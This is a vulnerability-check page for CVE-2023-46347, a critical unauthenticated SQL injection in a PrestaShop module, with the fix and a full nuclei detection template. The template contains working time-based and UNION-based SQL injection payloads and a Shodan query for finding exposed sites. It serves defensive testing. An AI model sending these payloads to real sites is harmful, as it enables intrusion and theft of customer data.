PrestaShop Step by Step products Pack - SQL Injection

criticalseverity

9.8CVSS score

50.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.

Impact

Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive database information including user credentials and payment data.

Fix

Update the Step by Step products Pack (ndk_steppingpack) module to version 1.5.7 or later from NDK Design.

How to confirm it

Send: @timeout: 15s
Positive when: status_code_1 != 404 and duration_1>=6 and contains(content_type_1, "text/html") and contains_any(tolower(response_1), "prestashop", "xipblog") OR contains in body_2 "{{md5({{num}})}}"

Run it with nuclei: nuclei -id CVE-2023-46347 -u <target>

The full check

id: CVE-2023-46347

info:
  name: PrestaShop Step by Step products Pack - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive database information including user credentials and payment data.
  remediation: |
    Update the Step by Step products Pack (ndk_steppingpack) module to version 1.5.7 or later from NDK Design.
  reference:
    - https://security.friendsofpresta.org/modules/2023/10/24/ndk_steppingpack.html
    - https://stack.chaitin.com/poc/detail/3977
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46347
    cwe-id: CWE-89
    epss-score: 0.50296
    epss-percentile: 0.98919
    cpe: cpe:2.3:a:ndkdesign:ndk_steppingpack:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ndkdesign
    product: ndk_steppingpack
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: time-based-sqli,cve,cve2023,sqli,prestashop,ndk_steppingpack,ndkdesign,vkev,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        @timeout: 15s
        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        search_query=1%22%29;select+0x73656c65637420736c6565702836293b+into+@a;prepare+b+from+@a;execute+b;--

      - |
        @timeout: 15s
        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        search_query=1")+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL,NULL,NULL--+-

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        name: Time Based
        dsl:
          - 'status_code_1 != 404'
          - 'duration_1>=6'
          - 'contains(content_type_1, "text/html")'
          - 'contains_any(tolower(response_1), "prestashop", "xipblog")'
        condition: and

      - type: word
        name: union-based
        part: body_2
        words:
          - '{{md5({{num}})}}'

References

Use this check only on systems you are authorised to test. Where the data comes from